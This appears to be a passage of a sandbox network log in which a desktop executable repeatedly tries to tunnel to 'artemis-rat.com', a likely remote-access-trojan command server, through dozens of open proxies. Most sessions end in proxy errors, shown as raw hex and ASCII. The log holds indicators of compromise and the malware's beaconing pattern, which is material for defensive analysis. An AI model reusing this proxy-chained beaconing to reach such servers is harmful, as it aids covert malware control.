Mar 11, 2024 03:30:39.378825903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.534066916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.5	51453	162.214.154.177	32210	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.384094000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.842355967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.386646986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.514904976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811414957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.014738083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202305079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.508985996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.205282927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.5	51172	218.57.210.186	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.386538029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.836564064 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:13:06 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.5	51297	121.182.138.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.387923956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.687503099 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.5	50408	70.166.167.38	57728	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.414202929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.5	51324	220.134.221.76	1131	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.419703007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.024126053 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.5	50385	51.158.79.76	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.419845104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.751872063 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.5	51348	13.37.89.201	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.421647072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.721189022 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.5	51468	52.189.35.8	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.421782017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.624021053 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.5	51351	38.41.27.150	11201	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.421829939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.076714993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.998929977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.905143976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.067447901 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.5	51355	27.96.235.171	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.421902895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.723462105 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.5	51440	38.162.9.203	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.421905994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.873076916 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.5	51260	83.219.145.108	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.422621012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.837191105 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 711 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:39 GMT Expires: Mon, 11 Mar 2024 02:30:39 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.5	51198	112.109.16.51	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.424886942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.5	51349	51.255.20.138	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.427745104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.765221119 CET	803	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Vary: Accept-Encoding Content-Length: 620 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2c 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 61 6e 64 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 61 6e 64 20 61 6e 79 74 68 69 6e 67 20 79 6f 75 20 6d 69 67 68 74 20 68 61 76 65 20 64 6f 6e 65 20 74 68 61 74 20 6d 61 79 20 68 61 76 65 0a 63 61 75 73 65 64 20 74 68 65 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator, [no address given] and inform them of the time the error occurred,and anything you might have done that may havecaused the error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.2.16 (Debian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.5	51364	60.188.102.225	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.429183006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.5	51460	162.214.225.223	43435	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.430577040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.967328072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.639256954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.996361971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.695261002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.424063921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
